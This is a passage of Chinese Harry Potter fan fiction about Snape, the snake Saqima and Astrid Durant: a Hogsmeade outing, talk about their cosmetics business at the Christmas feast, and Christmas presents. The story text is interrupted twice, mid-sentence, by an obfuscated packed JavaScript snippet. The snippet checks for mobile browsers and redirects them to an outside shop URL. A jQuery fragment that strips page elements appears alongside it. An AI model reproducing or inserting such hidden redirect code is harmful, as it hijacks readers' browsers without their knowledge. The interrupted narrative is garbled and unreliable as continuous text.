他停顿了一下,目光变得严肃起来:“但是,杜兰特小姐,我必须提醒你——那条蛇怪,你需要谨慎再谨慎地管好它。它和狼人不一样,狼人虽然危险,但在满月之外的时间,他们和普通人无异。而它——”他摇了摇头,“它的杀伤力太大了。哪怕只是一个不经意的对视,都可能造成无法挽回的后果。” “它已经老了。”阿斯特丽德轻声说,“它只是想看看外面的世界,看看高楼大厦,看看电影,再喝一杯可乐。它不会伤害任何人的。” 邓布利多看了她一会儿,然后缓缓点了点头。 “至于尼可·勒梅,”他说,“我会写信给他。不过,他现在正带着佩雷纳尔在四处旅行。上周的回信说他们在希腊,下个月可能又不知道跑到哪里去了。他们的回信什么时候能到,完全取决于他们什么时候想起来看猫头鹰。”他摊了摊手,表情有些无奈,“六百多岁的夫妻,热爱生活也是可以理解的。不过你们可以放心,我会用最紧急的措辞写信,告诉他霍格沃茨有一道千年前的炼金术难题,等着他来破解。以他的性格,应该会感兴趣的。” 48. 霍格莫德之行 45. 十二月的第一个周末,霍格莫德村之行如期而至。 霍格沃茨城堡前的空地上,学生们排成了一条蜿蜒的长龙,从费尔奇那张小桌子前一直延伸到草坪边缘,一个个裹着厚厚的冬袍,在薄雾里跺着脚,呵出的白雾随着笑声和交谈声此起彼伏。薄薄的积雪覆盖着草地,踩上去发出细微的咯吱声,远处的禁林在灰白的天空下显得格外幽深。费尔奇手里捏着一份长长的名单,每放过去一个学生就在名字后面打个勾。 阿斯特丽德站在队伍侧边,与那些兴高采烈的学生隔着一道无形的界限,像一只被遗落在岸边的企鹅,眼巴巴地望着那些即将登船远航的同类们。她双手拢在校袍袖子里,脚上的靴子已经被雪水浸得有些发潮,目光却穿过层层叠叠的人群,牢牢锁定在队伍前端的那个黑色身影上。 斯内普穿着一件厚实的黑斗篷,整个人像是从哥特小说里走出来的角色。他面无表情地通过费尔奇的查验,在带着萨其马走向红色特快列车之前,还好心情地停下来,从斗篷里托举起围了黑色迷你围巾的萨其马。 萨其马被举到和她视线平齐的高度,小小的黑围巾在它脖子上绕了一圈,打了个精致的蝴蝶结。斯内普托着它,让它正对着阿斯特丽德的方向,然后用另一只手指了指阿斯特丽德,示意它跟“妈妈”拜拜。 萨其马立刻心领神会,朝着阿斯特丽德的方向欢快地甩了甩尾巴尖,姿态敷衍中透着几分亲昵。甩完之后,它就缩回了斯内普的衣兜里,只露出半个戴着迷你围巾和墨镜的脑袋,安逸地搁在他的口袋边缘。 它现在是斯内普的一对一蛇语外教,据说在他那享有超高待遇。不仅可以盘在他的枕头上睡觉——虽然斯内普第一天早上醒来发现那条小蛇正缠着他的脖子打呼噜时,表情精彩得像看见了梅林跳踢踏舞。还可以缠绕在他的魔杖上,把脑袋搁在两个小小的蝙蝠触角之间,享受“巫师至尊专属座驾”的尊贵感。它管这个叫“朕的御辇”,斯内普懒得纠正它。 阿斯特丽德看着一人一蛇消失在红色车厢的门后,这才踩着一层薄薄的积雪,慢慢往回走,积雪刚没过鞋底,踩上去咯吱作响。她也想去霍格莫德,但她现在是一年级生,连申请签字的表格都没资格拿,只能跟低年级的小鬼头们一起泡在图书馆里,为那些永远凑不够字数的论文绞尽脑汁。她曾试图说服麦格教授,强调自己已经十六岁半了,心智成熟,完全可以对自己的行为负责—— 麦格教授当时正在批改作业,闻言抬起头,严肃的目光朝她看过来,接着从抽屉里拿出一盒猫形状的黄油饼干,推到她面前。 “杜兰特小姐,我理解你的心情。”她的声音一如既往地平稳,“但规则之所以是规则,正是因为它们对所有人都一视同仁。你十六岁半,但你在一年级的名单上;波特先生和布莱克先生十六岁,但他们在六年级的名单上。”她把饼干盒又往前推了推,用过来人的语气宽慰着:“等到后年这个时候,自然会有你的表格。而且说实话,图书馆也挺好的,至少不用担心在蜂蜜公爵门口被那些捣蛋鬼的恶作剧误伤。” 好吧。 阿斯特丽德只能捧着一盒新烘焙的饼干,踏上了去图书馆的路。 而与阿斯特丽德的悲喜并不相通的斯内普,此刻正好心情地揣着萨其马,沿着霍格莫德村铺满积雪的主街慢慢走着。雪后的村庄像一张被精心装饰的明信片,歪歪扭扭的屋顶上积着厚厚的雪,烟囱里冒着袅袅炊烟,空气中弥漫着烤面包和糖果的甜香。他拐进一条小路,经过尖叫棚屋时,脚步渐渐放慢。 那栋破败的建筑孤零零地立在山坡上,在灰白的天光下显得格外阴森,那些钉死的窗户像一只只空洞的眼睛。 ‘这里,狼人。’他微微偏过头,对着肘弯处不甚流畅地嘶嘶。他的发音还有些生涩,音节之间的衔接也不太自然,但已经能准确表达意思了。 萨其马探出脑袋,眯起眼睛往那栋歪歪扭扭的房子瞄了一眼,然后不屑地甩了甩尾巴。 ‘区区狼人,老萨其马能一次性缠上五只,用身子把它们绞成麻花!然后打个蝴蝶结,挂在那棵歪脖子树上当装饰!’它的嘶嘶声里带着一种勇士即将出征的豪迈。 ‘不。’斯内普的蛇语依旧简略,但意思明确,‘你盯着——就行。’ 他的意思是,用那双眼睛盯着,比什么缠绕都管用。 萨其马现在很能理解他的语义,毕竟这些天的外教课不是白上的。它遗憾地甩了甩尾巴,表情有些失落。 ‘脆皮法攻在战场上是很尴尬的,老萨其马明明有一身雄壮的肌肉,满身的蛮力,却只能躲在后面放冷箭。’它嘶嘶着,颇有些英雄无用武之地的怅惘:‘我应该用七寸碾碎敌人,用尾巴扫平障碍,这才无损于一个勇士的荣耀。’ 斯内普继续往前走,磕磕巴巴地调侃着:‘你——先克服对公鸡的恐惧,再谈——对抗路。’ 萨其马咂了咂嘴,觉得这话虽然不中听,但是也没法反驳。 蜂蜜公爵糖果店里人声鼎沸,穿着各色冬袍的学生们挤在柜台前,叽叽喳喳地指着那些琳琅满目的糖果——酸味爆爆糖时不时发出噼啪的爆炸声,吹宝超级泡泡糖被几个赫奇帕奇女生拿在手里比谁吹的泡泡大。巧克力蛙从盒子里蹦跶出来,被一个拉文克劳男生眼疾手快地抓住,然后那男生的手指被狠狠咬了一口,惨叫一声把青蛙甩了出去。 斯内普在柜台前站定,目光从那些糖果上掠过。他伸手拿起一盒巧克力蛙,正准备问问萨其马要不要尝尝,就听见口袋里传来一阵急促的嘶嘶声:‘不要那个!’ 他低头看去,萨其马正用尾巴尖指着那盒巧克力蛙,小小的脸上满是复杂:‘它看起来太像老萨其马的妈妈了——那个孵了它又不认它的蟾蜍。老萨其马不吃妈妈。’ 斯内普沉默着把那盒巧克力蛙放回原处,目光继续在柜台里搜寻,最后落在一袋滋滋蜜蜂糖和一盒比比多味豆上。 ‘这个?’ ‘要那个!还有那个!’它用尾巴尖指着那盒多味豆,雀跃的嘶嘶声里还带着老饕的讲究,‘老萨其马喜欢胡椒薄荷味的豆子!那种吃了之后,整个蛇都是清凉的,特别舒服。一盒里要是能吃到四颗就算赚到!’ 斯内普把两样东西拿到柜台结了账,然后带着萨其马挤出人群。他把那盒多味豆塞进口袋里,萨其马立刻用尾巴缠住,发出满足的嘶嘶声。 外面的雪还在下着,细细密密地从灰蒙蒙的天空飘落,落在屋檐和街道上,还有行人的肩头。斯内普沿着主街继续往前走,靴子在积雪上踩出一串深深的脚印。走了没多远,就看见一栋三层高的小楼,门口挂着一块摇摇晃晃的招牌——三把扫帚酒吧。暖黄色的灯光从窗户里透出来,把雪地染成一片柔软的颜色,隐约能听见里面传出的说笑声和碰杯声。 斯内普推开厚重的木门,一股混合着壁炉暖意、酒精和欢笑声的热浪扑面而来,驱散了外面的寒意。 酒吧里热闹非凡,木头桌椅周围几乎坐满了人,吧台前排着长长的队伍,罗斯默塔女士穿着酒红色的紧身长袍,在吧台后面忙碌着。弗立维教授和麦格教授坐在靠窗的位置,两人面前各摆着一杯黄油啤酒,正低声交谈着什么。弗立维时不时发出尖细的笑声,麦格的嘴角也挂着柔和的笑意。几个已经成年的七年级学生围坐在角落的圆桌旁,桌上摆着几杯火焰威士忌和颜色不一的含酒精饮料,他们笑哈哈地碰杯,声音大得整个酒吧都能听见。 斯内普在吧台边找了个位置。他还差不足一个月才满十七岁,按照规定不能点含酒精的饮品——虽然从那张阴郁的脸上完全看不出他还有这种青春期的烦恼。 萨其马从他衣兜里探出脑袋,眼睛盯着旁边桌上那杯冒着泡沫的黄油啤酒,又盯着另一桌那杯颜色更深、杯壁上挂着水珠的树莓果酒,然后它开始缠在斯内普的手腕上扭动起来。 ‘那个!’它嘶嘶着,声音里满是渴望:‘老萨其马想喝那个——黄黄的、冒着泡的——还有那个红红的、闻起来甜甜的!本勇士活了这么久还没喝过这些!’ 斯内普低头,无奈地看着它,‘你——确定?’他磕磕巴巴地问,‘喝了——会不会——出问题?’ ‘能出什么问题?’萨其马理直气壮地甩了甩尾巴,‘本勇士什么毒没扛过?这点酒精算什么?’ 斯内普没再说什么,转身面向吧台。 罗斯默塔女士忙完一单,转过身来擦了擦手,朝他露出一个职业性的微笑:“要点什么,亲爱的?” “一杯黄油啤酒,一杯树莓果酒。”斯内普语调平平。 罗斯默塔女士微微挑眉:“你满十七了吗?我记得你好像是……” “我没满。”斯内普面不改色,用下巴朝手腕上的萨其马示意了一下,“但我的宠物满了。事实上,它已经非常老了。” 罗斯默塔女士低头看向那条盯着她的小蛇:“……” 最后她摇了摇头,“行吧。”她把杯子推到斯内普面前,金色的液体在杯子里微微冒着泡,散发出诱人的甜香,“算你有理。不过你那只很老的宠物要是喝醉了闹事,我可不负责。” 斯内普微微颔首,付了钱,端着两个杯子在靠墙的一张空桌子旁坐下。 萨其马迫不及待地从他手腕上滑下来,趴在黄油啤酒的杯沿上,把脑袋探进去尝了一口。紧接着又舔了一口,然后整个脑袋都埋进了杯子里,发出咕咚咕咚的吞咽声。 当它终于抬起头时,脸上沾满了金色的泡沫,从头顶一直糊到围巾上。它打了个响亮的嗝,然后又把脑袋探进树莓果酒的杯子里,尝了一口。 ‘好喝——老萨其马喜欢这个!比那个年代喝的蜂蜜酒好喝多了!那个年代只有蜂蜜酒、苹果酒,喝多了上头。这个有奶味,有甜味,还有一点点咸味——太妙了!老萨其马宣布,这是我九百年来喝到的最好喝的东西!’ 斯内普靠在椅背上,看着它在两只杯子之间来回穿梭,动作越来越熟练。 喝到尽兴处,它再次打了个嗝。那个嗝带着树莓果酒的香气,从它嘴里冒出来,在空气中凝成一团淡粉色的小雾团,晃晃悠悠地飘上去,然后啪地散开。 斯内普看着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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斯内普一边走一边听着,此时才低声嘶嘶了一句:‘她……打学生?’ 萨其马开始护短:‘那叫拍飞,不是打。而且那几个小崽子确实整天在城堡里捣蛋,还往萨拉查的坩埚里扔蟾蜍。不过她一般不管这些事,大部分时间都窝在禁林里晒太阳。她可懒了,比老萨其马还懒。’ 斯内普用鼻息轻轻笑了一声,然后继续往前走,没有再问什么。 文人居羽毛笔专卖店坐落在一条僻静的小巷里,店面不大,橱窗里琳琅满目地摆满了各式各样的羽毛笔——有的羽毛是鲜艳的孔雀蓝,在灯光下泛着华贵的光泽;有的是低调的猫头鹰灰,非常朴素;还有几支看起来格外特别,羽毛根部缠绕着细细的银丝,轻轻一晃就会发出细微的铃声。 斯内普推门进去,门上挂着的铃铛发出一声清脆的响。店里很安静,只有角落里一个穿着深蓝色长袍的老头在整理货架,闻声抬头看了他一眼,又低下头继续忙自己的事。 斯内普在那些羽毛笔前慢慢踱步。 有几支很有意思——其中一支的笔杆是用银色的木头做的,上面刻着精细的魔法纹路,那些纹路会自己缓缓流动;还有一支懒洋洋地躺在盒子里,对周围的一切都漠不关心,不过它是用某种透明的材质做的,里面装着会发光的液体,在昏暗的光线里像一支小小的荧光棒。 萨其马趴在他肩膀上,眯着眼睛看那些笔,时不时打个嗝。 斯内普的目光在一支支羽毛笔上扫过,最后停在一支被搁在旋转展示架的笔上。 那支笔的羽毛是深紫色的,接近黑色,但在光线下会泛出一层幽幽的紫光。笔杆是银质的,上面刻着繁复的藤蔓纹路,那些藤蔓之间藏着一些极小的星星,如果仔细看,会发现那些星星会时不时闪一下。 店主见他盯着那支笔看久了,凑过来解释道:“这支笔叫‘夜语’,羽毛是从非洲最珍稀的夜行鸟身上取的,那种鸟只在月光下飞翔,羽毛会吸收月光。笔杆是妖精锻造的银,上面的星星是真正的陨石碎片。至于笔尖——那是水晶打磨的,写出来的字迹会带着淡淡的银光。” 他看了看斯内普的神情,又补充道:“而且它有个特别之处——它会记录下你写过的每一个字,在你需要的时候,把那些字句重新浮现出来给你看。它还会在墨水快用完的时候发出很轻很轻的光。很多巫师用它来写日记,或者写情书。” 斯内普的目光在那支笔上停留了很久。 片刻之后,他像是随口一问:“它喜欢什么口味的墨水?” “墨鱼汁味的,越浓越好。” ‘买了吧。’萨其马趴在他肩膀上,醉醺醺地嘶嘶,‘买回去送给……她。’ 走出文人居的时候,太阳低低地挂在西南方向的山丘后面,把整个霍格莫德染成一层淡淡的金色。暮色刚刚开始在屋檐下堆积,像是谁用炭笔在那些歪斜的屋顶边缘轻轻勾勒了几笔。街道上,偶尔有一两盏路灯提前亮起,提醒着行人该回家享用晚餐了。 斯内普揣着那支刚买的羽毛笔,慢慢地往车站方向走。萨其马在他口袋里打着小小的鼾,偶尔夹杂着一两句含糊不清的嘶嘶,听起来像是在梦里还在品尝那两杯酒。 礼盒躺在他胸口的衣袋里,还带着一点点温热——既是来自店里的炉火,也是来自他怀里的温度。 49. 过节喽! 46. 当《纯血溯源》连载到第六期的时候,艾丽斯终于拿着羊皮纸来统计格兰芬多圣诞期间的留校人数了。阿斯特丽德毫不犹豫地在那张表格上签下自己的名字——她当然不会回那条永远灰扑扑的街道过节,她要留在这里,跟斯内普和萨其马一起享受假期。 出乎意料的是,今年留校的学生少得可怜。不止斯莱特林的学生们几乎全部回家过节,其他三个学院的学生也一个个饱含着隐秘的期待与兴奋,迫不及待地收拾好行李,踏上了回家的列车。从车厢里飘出来的窃窃私语就能窥得一斑——几乎每一节车厢,每一个隔间里,学生们都在压低声音讨论着《纯血溯源》,那些羊皮纸被翻得哗哗响,时不时爆发出压抑不住的惊呼和笑声。目前被波及到的家族已经有弗林特、布莱克、马尔福、卡罗,以及莱斯特兰奇,每一个被揭穿的秘辛都足以让整个纯血圈子震动几天的。 是以除了这几个家族的后代正低气压地抱团黑脸坐在一起,几双眼睛恶狠狠地落在车厢中央那六张皱巴巴的羊皮纸上,恨不得用眼神把它们烧成灰烬之外,其他车厢里的学生都欢乐极了——抛开假期的美好不谈,谁不希望赶紧回家跟父母姊妹诉说这些年度大瓜呢? 至于为什么是等放假时亲自回家传播这些内容,那就要问问巫师邮政局的英明决策了。 该部门的消息向来灵通,从第一期连载故事发表的当天下午起,就火速派驻了工程师对英国魔法邮路做出严密监管,禁止任何猫头鹰携带任何涉及相关言论的信件飞出霍格沃茨。不仅如此,该部门还要求各工程师瞪大眼睛注意,一旦发现漏网之鱼——比如用暗号、变体如尼文、或其它加密方式传递消息的信件——一律关小黑屋,不是……一律销毁信件,并拘留当事猫头鹰十五个工作日。 哦,魔法部一向这样,大家都习惯了。 而每每到了《纯血溯源》更新的日子,《预言家日报》都会即时刊登一篇措辞严谨的辟谣声明,态度之郑重冷肃,用词之公正体面,几乎要让人怀疑丽塔·斯基特等八卦记者已经集体考公上岸了。那些声明义正言辞地谴责“某些不负责任的谣言散布者”,呼吁广大巫师“不信谣不传谣”,并郑重声明“魔法部将彻查此事,还受害家族一个清白”。 除此之外,若说还有什么伴生的谈资,就数斯内普那日渐加深的黑眼圈和周身萦绕的怨气了。 每当同学们捏着新一期的羊皮纸窃窃私语、八卦地交换眼神时,他都心不在焉地用叉子戳着盘子里的食物,一副“什么都不知道、什么都不关心、这个世界就是一个巨大的草台班子”的微死感。没有人知道他前夜又经历了什么样的文字荼毒——那些需要复制咒连夜赶制的羊皮纸,那些他必须确保一字不差的校对。整整五个家族的发家史,被他不停歇地用复制咒变成几百份,那些拗口的人名、年份、事件,在他眼前都重影了。 同样的,也没有人知道他梦里又出现了什么诡异的画面——最近一期是关于卡罗家的,他梦到自己变成了被神殿守卫偷吃的贡品,而贬斥老卡罗的正是端坐在神殿中央的阿斯特丽德小姐。梦里的她在贬斥时居然还顺便提了一句“虽然这贡品不值什么钱,口感也算不上美妙”…… 她什么意思?她在影射现实吗? 斯内普那天一起床就冲去盥洗室洗了个头,还喷了蓬松发粉。 除开以上,当然也没有人知道他此刻正在心里无声地咒骂着什么——那些咒骂的词汇之丰富、之恶毒,足以让最刻薄的斯莱特林都自愧不如。 而学校的猫头鹰们,每隔几日就雷打不动地出工,战战兢兢地扔下羊皮纸后,就朝格兰芬多长桌那边投去一个讨好的眼神,然后扑棱着翅膀逃命似的消失在窗外。 每当这个时候,格兰芬多长桌那边,某条贴了冬膘的蛇和某位安静乖巧(?)的女同学,就会努力维持着幕后大神的格调与淡定,偶尔交换一个心照不宣的眼神,然后继续低头对付盘子里的食物。 至于某位坐镇八卦发源地的一把手——那位笑呵呵地坐在教职工席上吃布丁的老人——一直对巫师邮局的加班加点视而不见,对魔法部发来的几封责令调查的通知函也视而不见,甚至还对几位怒气冲冲找上门来的纯血家族出身的校董彬彬有礼地说:“诸位,我完全理解你们的愤怒。但是,这些所谓‘秘辛’的来源,我也确实一无所知。霍格沃茨有近千名学生,还有几十位教职工,以及数量更多的画像和幽灵——每天发生的事情太多了,我实在是顾不过来。”他推了推半月形眼镜,表情十分无辜,“要不,你们先提供一份可疑人员的名单,我让费尔奇重点关注一下?” 几位校董瞪着他,抿着唇,说不出话来。 平安夜终于来临。 大礼堂被装饰得焕然一新,十二棵高耸的圣诞树上挂满了闪闪发亮的冰晶和金色的星星,还有会唱歌的小仙子和会喷雪的松果,那些漂浮的蜡烛今天也换了装,每一根都裹着一圈冬青叶,烛光透过叶片的缝隙洒落下来,把整个大厅染成一片温暖的金绿色。天花板上被施了魔法,飘着大朵大朵的雪花,那些雪花在落下来的过程中就消失了,只留下一片梦幻般的银白色光影。四周的墙壁上挂满了槲寄生和冬青编成的花环,浆果们红得发亮,像被精心涂过一层釉。长桌被拼成了巨大的马蹄形,铺着雪白的桌布,上面摆满了令人垂涎欲滴的美食——烤得金黄流油的整只火鸡、堆成小山的烤土豆和胡萝卜、滋滋作响的烤香肠、还有冒着热气的布丁和馅饼,各色亮闪闪的糖果和坚果点缀其间,南瓜汁和黄油啤酒在银色的壶里散发着诱人的甜香。 留校的师生们三三两两地坐在长桌旁,脸上都带着节日前特有的轻松笑容。教授们今天也放松了表情,弗立维教授正和几个拉文克劳的学生讨论着什么,说到激动处,整个人飘到了半空中。斯普劳特教授端着一杯热苹果酒,笑眯眯地跟赫奇帕奇的学生们碰杯。麦格教授也难得摘下了那顶严肃的尖顶帽,露出梳理得整整齐齐的发髻,嘴角挂着柔和的笑意。 邓布利多坐在正中央,那顶有些歪斜的巫师帽上挂着一个金色的铃铛,随着他说话的动作发出清脆的响声。他端起一杯热黄油啤酒,正准备喝一口,忽然感觉有什么东西在拽他的袍摆。 低头一看,是萨其马。 这条戴着红色小圣诞帽的碧绿小蛇——那帽子小得只有指甲盖那么大,帽尖上还有一个白色的毛球,随着它抬头的动作一晃一晃的——刚才从主人那边出发,扭着贴了冬膘的肥美身子,一路穿过人群,堂而皇之地游走到教职工面前。它先是在麦格教授跟前停下来,仰头朝她吐了吐蛇信,算是打了个招呼,然后继续往前,最后停在邓布利多的手边,此刻正仰着脑袋期待又乖巧地看着那位端着酒杯的老人。 邓布利多放下杯子,弯下腰,极其认真地问:“哦,这不是我们尊贵的萨其马先生吗?请问有什么事?”他伸出一根手指轻轻点了点那顶小小的圣诞帽,帽子歪了歪,萨其马用尾巴尖扶正了它,动作带着几分刻意拿捏的矜持。 萨其马嘶嘶了几声,然后意识到对方听不懂,便改用行动表达——它直起身子,用尾巴尖指了指邓布利多盘子里那块还没动过的火鸡腿。 邓布利多恍然大悟,笑呵呵地用魔杖轻轻一点,把火鸡腿变成了一堆适合小蛇食用的小肉丁,然后放在一个干净的小碟子里,推到桌子边缘。 “今晚的烤火鸡很出色,虽然我不确定蛇类的圣诞菜单和人类的有什么不同。但我想,你大概会喜欢的。”他拿出招待贵宾的礼仪,“请慢用,萨其马先生。” 萨其马心满意足地爬上那个小碟子,开始享用它的圣诞大餐。吃了几口之后,它抬起身子,冲邓布利多感激地点了点头,然后继续埋头苦吃。 邓布利多笑眯眯地看着它,过了一会儿才低声对旁边的麦格教授说:“米勒娃,我建议明年开学典礼的时候,给它在教师席上也留个位置。” 麦格教授瞥了一眼正在大快朵颐的萨其马,嘴角微微抽动了一下,没有说话。 阿斯特丽德和斯内普并肩坐在格兰芬多长桌的一角——这画面本身就很罕见,但今天是平安夜,没什么人会在意谁坐在哪里。留校的学生们各自聚在一起,整个长桌显得空荡荡的,倒给了他们难得的独处空间。 两人面前摆满了食物,但他俩的注意力显然都不在吃上。 “所以,截至今天,A.S本年度的营业额已经突破了十五万加隆,比预期高出百分之两百二十六。”阿斯特丽德切着面前那块烤鹅,“其中驱虫剂系列贡献了百分之五十二的营收,护肤彩妆系列占了百分之三十八,其余的是专利授权费。而扣除原材料成本、生产费用、以及给某位高级合伙人和教授的分成后,净利润大概在九万左右。” 斯内普面无表情地喝了一口南瓜汁,目光落在虚空中,像是在认真聆听,又像是在神游天外。 阿斯特丽德继续往下说:“按照这个增长速度,明年我们完全可以扩大生产规模,增加产品线,甚至可以考虑在霍格莫德开一家实体店。到时候,A.S就不再只是一个小众的药妆品牌,而是可以和风雅牌、蜂蜜公爵平起平坐的……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334619|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “打住。”斯内普终于开口,“我不得不提醒你,尊敬的董事长女士,你口中那个‘高级合伙人’,目前正以一己之力承担着百分之七十的生产任务。如果你所谓的‘扩大生产规模’意味着让我从‘活体生产线’升级成‘活体工厂’,那我建议你现在就另请高明。” 阿斯特丽德闻言,立刻换上一副谄媚的笑容,凑近了些:“亲爱的西弗勒斯,话不能这么说。你可是A.S最核心的技术骨干,是咱们品牌的灵魂人物。没有你的改良魔法,那些产品怎么可能有现在的效果?没有你的检测咒,我们怎么可能防住那些想钻空子的狡猾顾客?”她的语气变得更加诚恳,“你放心,等生意做大了,我一定给你配几个助手——不,一个团队。你只需要坐在办公室里指挥就行,具体的生产交给别人。” 斯内普抬起眼皮看了她一眼,里面满是“你当我傻吗”的怀疑。 “配助手?”他把语气拖得更长了,“然后呢?我教他们熬魔药、施改良咒,教他们所有的核心技术,等他们学成之后,你再把他们带走,成立另一个品牌跟我竞争?” 阿斯特丽德瞪大眼睛,脸上写满了被冤枉的委屈:“你怎么能这么想我?我是那种人吗?” 斯内普继续喝他的南瓜汁,但表情明明白白地写着:你就是。 阿斯特丽德:好吧,虽然我的确从未往那个方向想过,但听起来确实是个很诱人的主意呀。 她默默畅想了一番,然后换了个策略。她清了清嗓子,用在年会上展望未来的庄重语气开口:“西弗勒斯,你要把目光放长远。咱们现在的规模是小,但潜力是巨大的。你想啊,等咱们的品牌做大了,你就可以光明正大地跟卢修斯·马尔福平起平坐,而不是每次见面都要被他用那种倨傲的眼神打量。你可以拥有自己的产业,不再依靠任何人,并据此站稳脚跟。”她认真地画着大饼,“到时候,你就是斯内普一世,A.S的联合创始人,而不是什么‘蜘蛛尾巷来的混血种’。” 斯内普握着杯子的手微微一顿,他不得不承认,她描绘的前景像一滴被晨露压弯的蛛网丝线,在他心底最幽暗的角落里,缓慢地、不可阻挡地颤动起来——那是一个他从未敢认真肖想过的未来,一个不需要依附任何人、不需要在纯血家族的阴影里小心翼翼周旋的未来。 但他还是抿着唇,放下杯子后转过头看她:“听起来很美。但实现这个‘美好未来’的前提是,我能活到那一天,而不是在某个深夜,因为过度劳累倒在坩埚旁边,被当成一具无名尸体送进圣芒戈的停尸房,然后你拿着我的分成去雇佣下一个倒霉的合伙人。” 阿斯特丽德被他的描述逗笑了,但笑完之后,她认真地想了想这个问题,然后竖起四根手指(?),笃定道:“你是A.S最核心的资产,没有你,那些产品就是一堆普通得不能再普通的瓶瓶罐罐。”她的眼睛弯成两道月牙,“所以为了保住你这个核心资产,我决定给你减负。” 斯内普挑起一边眉毛,洗耳恭听。 “经过董事会——也就是我——的慎重考虑,A.S品牌决定在明年推出全新的男士护肤系列,主打你这种熬夜魔药师的刚需——眼霜、精华、面霜,一套下来能把黑眼圈和暗沉都收拾得服服帖帖。”她伸手轻轻点了点他的眼眶,像一只蝴蝶落了一下就飞走了:“到时候你就是活招牌,往那儿一站,什么都不用说,那些整天钻地下室的男巫们就会抢着下单。咱们产品连你这种级别的黑眼圈都能救回来,他们那些小打小闹的熬夜痕迹算什么?” 斯内普的嘴角微微抽了抽:“所以你是打算让我靠脸吃饭?” “靠脸怎么了?”阿斯特丽德理直气壮,“你那脸能省多少广告费你知道吗?届时你就是所有熬夜男巫的精神领袖!再说了——”她上下打量了他一眼,“你除了脸和魔法天赋,还有什么是能拿得出手的?” 斯内普沉默了半天,才慢悠悠地开口:“我的耐心。能忍受一个资本家整天画饼的耐心,这应该值不少钱。” 阿斯特丽德努力绷住嘴角,不让自己的笑再次戳痛某个怨念深重的合伙人的内心。 死嘴,快压啊!不然合伙人要掀桌了! “行吧,耐心也算。”她举起南瓜汁,“来,为耐心干杯!明年这个时候,你会感谢今天这个饼的。” 斯内普举起杯子碰了碰,动作敷衍至极。 另一边,萨其马不知什么时候已经吃饱喝足,正盘在邓布利多面前的碟子旁打盹,那颗戴着迷你圣诞帽的脑袋一点一点的,看起来随时会栽进那盘剩下的火鸡丁里。 50. 圣诞快乐 47. 圣诞节的早晨,阿斯特丽德是被一阵窸窸窣窣的动静吵醒的。 她睁开眼,看见萨其马正趴在窗台上,小小的碧绿身子缠着一根细细的丝带,脑袋上还顶着个红色的蝴蝶结,正对着窗外飘落的雪花发出满足的嘶嘶声。窗外的天还蒙蒙亮,晨光透过窗帘的缝隙洒进来,在床脚堆成一小块金色的光斑。空气里弥漫着淡淡的松木香,是从圣诞树上挂着的香包里散发出来的。寝室里暖意融融,壁炉里的火焰还在安静地燃烧着,把整个房间映成一片温暖的橙红色。公共休息室里隐约传来胖夫人哼歌的声音,调子七拐八绕的,听起来大概是有些年头的民谣。 她揉着眼睛坐起来,目光落在床脚堆得像小山一样的礼物上。那些包裹大小不一,包装各异,有些用牛皮纸包着,有些裹着彩色的丝带,还有一个居然是用活生生的槲寄生缠起来的——那槲寄生还在动,时不时伸出一根枝条来戳她的小腿。 她最先拆的是玛丽送的小盒子。打开一看,是一把精致的银色梳子,梳柄上刻着漂亮的花纹,还镶嵌着几颗小小的珍珠。她刚拿起来,那把梳子就开始自己动起来——梳齿轻轻划过空气,像是在给某个看不见的模特梳头。说明书上写着它还能根据头发的长度和厚度调整梳发力度。它的吊牌背面刻着一行小字:“自动魔法梳,可梳十八种发式”。 玛丽的贺卡上写着: “阿斯塔,圣诞快乐!谢谢你送的那套A.S奢宠黑金系列——我妈妈用了之后惊为天人,非要让我问你什么时候能批量生产那个抗皱眼霜。她说她愿意提前付一年的定金。这把梳子是我在丽人美发看到的,觉得很适合你。祝你新的一年头发越来越顺,魔力越来越强!——玛丽” 没错,她给玛丽的圣诞礼物是一整套最新款的A.S奢宠黑金系列护肤品及彩妆系列,瓶瓶罐罐装了一小盒,每一个上面都贴着标签:珍稀巨鳄火龙果精华眼霜、独角兽角蛋白面霜、金粉水光口红……原材料确实用了不少好东西,都是斯内普熬夜调配的功劳。 她很开心能收到这么好的试用反馈,心情愉悦地又去拆第二个包裹。 那是莉莉送的,一个深蓝色的丝绒盒子,里面是一串圆润的深海珍珠——每一颗都有小指甲盖那么大,在晨光下泛着温润的光泽。贺卡上的字迹秀气:“阿斯塔,圣诞快乐。谢谢你送的那六支独家蛇胆明目眼药水——虽然你说材料来源保密,但我相信我和佩妮的眼睛一定会感谢你的。这串珍珠是我暑假的时候和她一起挑的,希望你喜欢。——莉莉” 阿斯特丽德摸了摸那串珍珠,想着昨晚寄出的那套独家蛇胆明目眼药水。里面一共六支,每一支的功效都不一样——有防疲劳干涩的、防近视的、防散光的、防夜盲的、还有防麦粒肿的。原材料来源保密,由斯内普亲自熬制,萨其马友情赞助。 第三个是艾丽斯的。这个包裹最大,拆开是一件雅致的银灰色礼服,风雅牌 Silk 的标签还在上面。那料子轻得像云,摸上去滑不留手,正泛着柔和的珠光。贺卡上写着: “阿斯塔,圣诞快乐!谢谢你送的那两张麻瓜爱情话剧的一等座套票——弗兰克收到之后脸红了一整个晚上,我问他愿不愿意陪我去看,他支支吾吾了半天才说好。这是我见过的最有创意的圣诞礼物!这件礼服是我在风雅牌挑的,我觉得银灰色很适合你。希望你在新的一年里,能穿着这个去约会。——艾丽斯” 她给艾丽斯的礼物的确是麻瓜爱情话剧的一等座位套票,时间是本月末,地点在伦敦西区。供从小生长于巫师家庭的艾丽斯和弗兰克来一场足够麻瓜的约会。 阿斯特丽德看着那件礼服,忍不住露出笑意。艾丽斯这个姑娘,心思一直细腻——她肯定早就发现了自己对斯内普的图谋不轨。 